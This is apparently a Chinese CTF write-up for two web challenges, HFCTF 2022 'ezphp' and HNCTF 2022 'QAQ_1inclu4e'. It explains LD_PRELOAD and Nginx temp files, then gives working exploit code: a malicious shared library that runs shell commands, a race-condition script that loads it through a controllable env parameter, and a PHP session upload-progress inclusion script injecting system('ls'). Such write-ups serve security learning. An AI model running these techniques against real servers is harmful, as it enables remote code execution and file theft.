0%

5.4日常

[虎符CTF] ezphp

之前在buu上做过,但是忘了,正好在nss上再做一遍

开局一段PHP代码

1
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?> 

前置知识

什么是.so文件

so文件是Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据。

1、so文件就跟.dll文件差不多。

2、一般来说,so文件就是常说的动态链接库, 都是C或C++编译出来的。与Java比较它通常是用的Class文件(字节码)。

3、Linux下的so文件时不能直接运行的,一般来讲,.so文件称为共享库。

4、so文件使用方法
(1)动态库的编译。这里有一个头文件:so_test.h,三个.c文件:test_a.c、test_b.c、test_c.c,我们将这几个文件编译成一个动态库:libtest.so。
命令:$ gcc test_a.c test_b.c test_c.c -fPIC -shared -o libtest.so 不用该标志外部程序无法连接。相当于一个可执行文件。

(2)动态库的链接
这里有个程序源文件 test.c 与动态库 libtest.so 链接生成执行文件 test:
命令:$ gcc test.c -L. -ltest -o test
命令:$ ldd test执行test,可以看到它是如何调用动态库中的函数的。

什么是LD_PRELOAD

参考链接:https://blog.csdn.net/chen_jianjian/article/details/80627693
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。利用这个点,我们可以优先加载到我们的.so文件

Nginx加载临时文件

Nginx的临时文件:

当 Nginx 接收来自 FastCGI 的响应时,若大小超过限定值(大概32Kb)不适合以内存的形式来存储的时候,一部分就会以临时文件的方式保存到磁盘上。在 /var/lib/nginx/fastcgi 下产生临时文件。

该文件也会被保存到/proc/pid/id目录下(因为只要进程调用了一个文件,该文件就会被加载到这个目录,即使被删除)

思路

先生成一个.c文件,再生成.so文件,在.so文件后添加一些脏数据,让Nginx无法快速响应,从而生成该文件到/pro/pid/id目录,最后利用题目中的参数env,使得LD_PRELOAD=/proc/pid/id,加载我们恶意的.so文件

开始

首先我们生成一个test.c文件

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");//用于删除设置的的LD_PRELOAD,因为我等会要爆破,每次的LD_PRELOAD是不一样的
system("id");
system("cat /flag > /var/www/html/flag");

}

生成共享库.so文件

1
gcc -shared -fPIC test.c -o exp.so
1
2
3
4
5
这是一个使用gcc编译器编译生成共享库的命令。具体来说,该命令包含以下参数:

"-shared":告诉gcc编译器生成一个共享库,而不是一个可执行文件。
"-fPIC":告诉gcc编译器生成的代码应该是位置无关的代码(Position Independent Code),这样可以使得共享库可以被加载到任意地址,从而提高共享库的可移植性。
"-o exp.so":指定生成的共享库的名称和路径,这里假设生成的共享库名为"exp.so"

执行python脚本进行条件竞争加载我们恶意的.so文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import  threading, requests
URL2 = f'http://node3.anna.nssctf.cn:28419/index.php'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]# pid爆破列表
done = False


def uploader():
print('[+] starting uploader')
with open("exp.so","rb") as f:
data1 = f.read()+b'0'*1024*1000# 添加脏数据
#print(data1)
while not done:
requests.get(URL2, data=data1)
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
try:
requests.get(URL2, params={
'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"
})
except:
pass


for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()

访问/flag即可

[HNCTF 2022 WEEK3]QAQ_1inclu4e

页面一段提示

1
U LOST STH QAQ!include IT!hint : ZmxhZ+WcqOelnuenmOeahOinkuiQvQ==

flag在隐秘的角落

这题是session文件包含,不得不说脑洞有点大

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import threading

url = 'http://node2.anna.nssctf.cn:28243/'
sessid = 'ycx'
data = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');?>)"}
cookie = {"PHPSESSID":sessid}

def upload(session):
while True:
res = requests.post(url=url,data=data,cookies=cookie,files={'file':('1.txt',123)})

def get_flag(session):
while True:
payloadurl = url + "?QAQ=/tmp/sess_" + sessid
res2 = requests.get(url=payloadurl)
if 'upload_progress' in res2.text:
print(res2.text)
break

if __name__ == '__main__':
session = requests.session()
t = threading.Thread(target=upload,args=(session,))
t.start()
get_flag(session)

最后flag在/var/ffflllaaagggflag